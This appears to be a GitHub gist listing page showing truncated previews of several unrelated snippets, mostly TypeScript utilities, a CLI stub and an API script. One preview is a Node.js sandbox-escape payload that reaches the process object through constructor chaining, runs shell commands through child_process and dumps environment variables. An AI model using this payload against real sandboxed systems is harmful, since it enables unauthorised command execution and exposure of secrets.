Install, build and debug a react native app in WSL2 (Windows Subsystem for Linux) and Ubuntu.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// @from antfu https://antfu.me/posts/destructuring-with-object-or-array | |
export function destructIt<T extends Record<string, unknown>, A extends readonly any[]>( | |
obj: T, | |
arr: A | |
): T & A { | |
const clone = { ...obj } | |
Object.defineProperty(clone, Symbol.iterator, { | |
enumerable: false, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sade from 'sade' | |
const kivi = sade('kivi') | |
kivi | |
.version('1.0.0') | |
.describe('cli for kivibot') | |
.option('-c, --config', 'Provide path to custom kivibot config', 'kivi.json') | |
kivi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function isObject(obj: unknown): obj is Record<string, unknown> { | |
return typeof obj === 'object' && obj !== null | |
} | |
export function deepClone<T>(obj: T, cache: Map<unknown, unknown> = new Map()): T { | |
if (obj === null || typeof obj !== 'object') { | |
return obj | |
} | |
if (cache.has(obj)) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import rfdc from 'rfdc' | |
type Listener<T> = (snapshot: T) => void | |
interface State<T extends object> { | |
proxy: T | |
target: T | |
listeners: Set<Listener<T>> | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let currentListener: Function | undefined = undefined | |
function createSignal<T>(initialValue: T) { | |
let value = initialValue | |
const subscribers = new Set<Function>() | |
const read = () => { | |
if (currentListener !== undefined) { | |
subscribers.add(currentListener) |
Thanks to @jogerj and @PrimeCicada for the method! Original script: https://gist.github.com/jogerj/0339e61a92e0de2e360c5212a94854e8
Open powershell, then copy paste this script:
Global:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
this.constructor.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls'); | |
var exec = this.constructor.constructor; | |
var process = exec('return process')(); | |
var require = process.mainModule.constructor._load; | |
var execSysCmd = require('child_process').execSync; | |
// process.exit(); | |
console.log(process.env); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// usage: node --no-warnings offer.mjs 米哈游 前端 | |
const args = process.argv.slice(2); | |
const js_code = ''; // get by wx.login method in WeChat | |
const api = 'https://www.ioffershow.com/V4'; | |
const silentLogin = async (js_code) => { | |
const res = await fetch(`${api}/silent_login`, { | |
method: 'POST', |
NewerOlder